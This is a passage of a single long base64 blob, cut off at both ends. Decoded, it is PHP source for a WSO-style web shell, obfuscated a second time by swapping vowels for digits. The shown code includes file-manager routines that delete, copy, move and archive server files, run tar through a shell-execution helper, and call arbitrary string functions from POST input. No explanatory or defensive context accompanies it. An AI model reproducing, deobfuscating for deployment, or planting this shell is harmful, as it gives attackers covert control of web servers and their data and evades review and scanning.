GggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCgkJCQkJJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KCQkJCQl3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0KCQkJCQkJJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCgkJCQkJCTRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KCQkJCQkJCWMybnQ0bjM1Ow0KCQkJCQkJJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQoJCQkJCQk0ZiAoJHR5cDUgPT0gImQ0ciIpDQoJCQkJCQkJZDVsNXQ1RDRyKCQ0dDVtKTsNCgkJCQkJCTVsczUNCgkJCQkJCQlAM25sNG5rKCQ0dDVtKTsNCgkJCQkJfQ0KCQkJCQljbDJzNWQ0cigkZGgpOw0KCQkJCQlAcm1kNHIoJHAxdGgpOw0KCQkJCX0NCgkJCQk0Zig0c18xcnIxeShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmMnI1MWNoKCRfUE9TVFsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KCQkJCQkJJGYgPSAzcmxkNWMyZDUoJGYpOw0KCQkJCQkJNGYoNHNfZDRyKCRmKSkNCgkJCQkJCQlkNWw1dDVENHIoJGYpOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJGYpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdwMXN0NSc6DQoJCQkJNGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnYzJweScpIHsNCgkJCQkJZjNuY3Q0Mm4gYzJweV9wMXN0NSgkYywkcywkZCl7DQoJCQkJCQk0Zig0c19kNHIoJGMuJHMpKXsNCgkJCQkJCQlta2Q0cigkZC4kcyk7DQoJCQkJCQkJJGggPSBAMnA1bmQ0cigkYy4kcyk7DQoJCQkJCQkJd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KCQkJCQkJCQk0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSA1bHM1NGYoNHNfZjRsNSgkYy4kcykpDQoJCQkJCQkJQGMycHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKQ0KCQkJCQkJYzJweV9wMXN0NSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICdtMnY1Jykgew0KCQkJCQlmM25jdDQybiBtMnY1X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0ZihANHNfZjRsNSgkYy4kcykpDQoJCQkJCQkJQGMycHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmMnI1MWNoKCRfU0VTU0lPTlsnZiddIDFzICRmKQ0KCQkJCQkJQHI1bjFtNSgkX1NFU1NJT05bJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCgkJCQl9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd6NHAnKSB7DQoJCQkJCTRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkejRwID0gbjV3IFo0cEFyY2g0djUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkejRwLT4ycDVuKCRfUE9TVFsncGEnXSwgNikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkX1NFU1NJT05bJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEA0c19mNGw1KCRfU0VTU0lPTlsnYyddLiRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUoJF9TRVNTSU9OWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKEA0c19kNHIoJF9TRVNTSU9OWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1cjF0MnIgPSBuNXcgUjVjM3JzNHY1SXQ1cjF0MnJJdDVyMXQycihuNXcgUjVjM3JzNHY1RDRyNWN0MnJ5SXQ1cjF0MnIoJGYuJy8nKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoICgkNHQ1cjF0MnIgMXMgJGs1eT0+JHYxbDM1KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNShyNTFscDF0aCgkazV5KSwgJGs1eSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSA1bHM1NGYoJF9TRVNTSU9OWycxY3QnXSA9PSAnM256NHAnKSB7DQoJCQkJCTRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkejRwID0gbjV3IFo0cEFyY2g0djUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRfU0VTU0lPTlsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkejRwLT41eHRyMWN0VDIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IDVsczU0ZigkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSB7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfU0VTU0lPTlsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydmJ10gPSAxcnIxeV9tMXAoJzVzYzFwNXNoNWxsMXJnJywgJF9TRVNTSU9OWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICB3czJFeCgndDFyIGNmenYgJyAuIDVzYzFwNXNoNWxsMXJnKCRfUE9TVFsncGEnXSkgLiAnICcgLiA0bXBsMmQ1KCcgJywgJF9TRVNTSU9OWydmJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgY2hkNHIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJM25zNXQoJF9TRVNTSU9OWydmJ10pOw0KCQkJCWJyNTFrOw0KCQkJZDVmMTNsdDoNCiAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkJCQkkX1NFU1NJT05bJzFjdCddID0gQCRfUE9TVFsncDYnXTsNCgkJCQkJJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107DQoJCQkJCWYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGsgPT4gJGYpDQoJCQkJCQkkX1NFU1NJT05bJ2YnXVska10gPSAzcmxkNWMyZDUoJGYpOw0KCQkJCQkkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsNCgkJCQl9DQoJCQkJYnI1MWs7DQoJCX0NCgl9DQoJJGQ0ckMybnQ1bnQgPSBAc2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCgk0ZigkZDRyQzJudDVudCA9PT0gZjFsczUpIHsJNWNoMiAnQzFuXCd0IDJwNW4gdGg0cyBmMmxkNXIhJzt3czJGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiPHNjcjRwdD4NCglmM25jdDQybiBzMSgpIHsNCgkJZjJyKDQ9MDs0PGQuZjRsNXMuNWw1bTVudHMubDVuZ3RoOzQrKykNCgkJCTRmKGQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKQ0KCQkJCWQuZjRsNXMuNWw1bTVudHNbNF0uY2g1Y2s1ZCA9IGQuZjRsNXMuNWw1bTVudHNbMF0uY2g1Y2s1ZDsNCgl9DQo8L3NjcjRwdD4NCjx0MWJsNSB3NGR0aD0nNjAwJScgY2wxc3M9J20xNG4nIGM1bGxzcDFjNG5nPScwJyBjNWxscDFkZDRuZz0nYSc+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IGQxdDUoJ1ktbS1kIEg6NDpzJywgQGY0bDVtdDRtNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKSwNCgkJCQkJICdwNXJtcycgPT4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJ3M0ejUnID0+IEBmNGw1czR6NSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICcyd241cicgPT4gJDJ3WyduMW01J10/JDJ3WyduMW01J106QGY0bDUyd241cigkZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJ2dyMjNwJyA9PiAkZ3JbJ24xbTUnXT8kZ3JbJ24xbTUnXTpAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkNCgkJCQkJKTsNCgkJNGYoQDRzX2Y0bDUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOw0KCQk1bHM1NGYoQDRzX2w0bmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2w0bmsnLCAnbDRuaycgPT4gcjUxZGw0bmsoJHRtcFsncDF0aCddKSkpOw0KCQk1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pJiYgKCRkNHJDMm50NW50WyQ0XSAhPSAiLiIpKQ0KCQkJJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZDRyJykpOw0KCX0NCgkkR0xPQkFMU1snczJydCddID0gJHMycnQ7DQoJZjNuY3Q0Mm4gd3MyQ21wKCQxLCAkYikgew0KCQk0ZigkR0xPQkFMU1snczJydCddWzBdICE9ICdzNHo1JykNCgkJCXI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCgkJNWxzNQ0KCQkJcjV0M3JuICgoJDFbJ3M0ejUnXSA8ICRiWydzNHo1J10pID8gLTYgOiA2KSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCgl9DQoJM3MycnQoJGY0bDVzLCAid3MyQ21wIik7DQoJM3MycnQoJGQ0cnMsICJ3czJDbXAiKTsNCgkkZjRsNXMgPSAxcnIxeV9tNXJnNSgkZDRycywgJGY0bDVzKTsNCgkkbCA9IDA7DQoJZjJyNTFjaCgkZjRsNXMgMXMgJGYpIHsNCgkJNWNoMiAnPHRyJy4oJGw/JyBjbDFzcz1sNic6JycpLic+PHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9ImZbXSIgdjFsMzU9IicuM3JsNW5jMmQ1KCRmWyduMW01J10pLiciIGNsMXNzPWNoa2J4PjwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSInLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3Y0NXdcJykiPicuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKTonZyhcJ0Y0bDVzTTFuXCcsXCcnLiRmWydwMXRoJ10uJ1wnKTsiIHQ0dGw1PScgLiAkZlsnbDRuayddIC4gJz48Yj5bICcgLiBodG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pIC4gJyBdPC9iPicpLic8LzE+PC90ZD48dGQ+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/d3MyVjQ1d1M0ejUoJGZbJ3M0ejUnXSk6JGZbJ3R5cDUnXSkuJzwvdGQ+PHRkPicuJGZbJ20yZDRmeSddLic8L3RkPjx0ZD4nLiRmWycyd241ciddLicvJy4kZlsnZ3IyM3AnXS4nPC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJyxcJ2NobTJkXCcpIj4nLiRmWydwNXJtcyddDQoJCQkuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwvdGQ+PC90cj4nOw0KCQkkbCA9ICRsPzA6NjsNCgl9DQoJNWNoMiAiPHRyPjx0ZCBjMmxzcDFuPTc+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNMW4nPg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpLiInPg0KCTxzNWw1Y3QgbjFtNT0ncDYnPjwycHQ0Mm4gdjFsMzU9J2MycHknPkMycHk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdtMnY1Jz5NMnY1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5ENWw1dDU8LzJwdDQybj4iOw0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd6NHAnPkMybXByNXNzICh6NHApPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nM256NHAnPlVuYzJtcHI1c3MgKHo0cCk8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Qxcic+QzJtcHI1c3MgKHQxci5neik8LzJwdDQybj4iOw0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+UDFzdDUgLyBDMm1wcjVzczwvMnB0NDJuPiI7DQogICAgNWNoMiAiPC9zNWw1Y3Q+Jm5ic3A7IjsNCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSkpDQogICAgICAgIDVjaDIgImY0bDUgbjFtNTogPDRucDN0IHR5cDU9dDV4dCBuMW01PXBhIHYxbDM1PSd3czJfIiAuIGQxdDUoIlltZF9INHMiKSAuICIuIiAuICgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnPyd6NHAnOid0MXIuZ3onKSAuICInPiZuYnNwOyI7DQogICAgNWNoMiAiPDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuU3RyNG5nVDIybHMoKSB7DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhMXNjNDQnKSkge2YzbmN0NDJuIGg1eGExc2M0NCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RyTDVuKCRwKTskNCs9YSl7JHIuPWNocihoNXhkNWMoJHBbJDRdLiRwWyQ0KzZdKSk7fXI1dDNybiAkcjt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJzFzYzQ0YWg1eCcpKSB7ZjNuY3Q0Mm4gMXNjNDRhaDV4KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSBzcHI0bnRmKCclMGFYJywycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgkkc3RyNG5nVDIybHMgPSAxcnIxeSgNCgkJJ0IxczVldSA1bmMyZDUnID0+ICdiMXM1ZXVfNW5jMmQ1JywNCgkJJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywNCgkJJ1VybCA1bmMyZDUnID0+ICczcmw1bmMyZDUnLA0KCQknVXJsIGQ1YzJkNScgPT4gJzNybGQ1YzJkNScsDQoJCSdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywNCgkJJ21kaSBoMXNoJyA9PiAnbWRpJywNCgkJJ3NoMTYgaDFzaCcgPT4gJ3NoMTYnLA0KCQknY3J5cHQnID0+ICdjcnlwdCcsDQoJCSdDUkNvYScgPT4gJ2NyY29hJywNCgkJJ0FTQ0lJIHQyIEhFWCcgPT4gJzFzYzQ0YWg1eCcsDQoJCSdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLA0KCQknSEVYIHQyIERFQycgPT4gJ2g1eGQ1YycsDQoJCSdIRVggdDIgQklOJyA9PiAnaDV4YWI0bicsDQoJCSdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywNCgkJJ0RFQyB0MiBCSU4nID0+ICdkNWNiNG4nLA0KCQknQklOIHQyIEhFWCcgPT4gJ2I0bmg1eCcsDQoJCSdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywNCgkJJ1N0cjRuZyB0MiBsMnc1ciBjMXM1JyA9PiAnc3RydDJsMnc1cicsDQoJCSdTdHI0bmcgdDIgM3BwNXIgYzFzNScgPT4gJ3N0cnQyM3BwNXInLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQknU3RyNG5nIGw1bmd0aCcgPT4gJ3N0cmw1bicsDQoJKTsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1Ow0KCQkyYl9zdDFydCgpOw0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQoJCQk1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KCQkkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0JykuNG5uNXJIVE1MPSciLjFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlN0cjRuZyBjMm52NXJzNDJuczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCgk1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuIj4gczVuZCAzczRuZyBBSkFYPGJyPjx0NXh0MXI1MSBuMW01PSc0bnAzdCcgc3R5bDU9J20xcmc0bi10MnA6aXB4JyBjbDFzcz1iNGcxcjUxPiIuKDVtcHR5KCRfUE9TVFsncDYnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydwYSddKSkuIjwvdDV4dDFyNTE+PC9mMnJtPjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnIDRkPSdzdHJPM3RwM3QnPiI7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7DQoJfQ0KCTVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5TNTFyY2ggdDV4dCA0biBmNGw1czo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gMm5zM2JtNHQ9XCJnKG4zbGwsdGg0cy5jd2QudjFsMzUsbjNsbCx0aDRzLnQ1eHQudjFsMzUsdGg0cy5mNGw1bjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjx0MWJsNSBjNWxscDFkZDRuZz0nNicgYzVsbHNwMWM0bmc9JzAnIHc0ZHRoPSdpMCUnPg0KCQkJPHRyPjx0ZCB3NGR0aD0nNiUnPlQ1eHQ6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3Q1eHQnIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J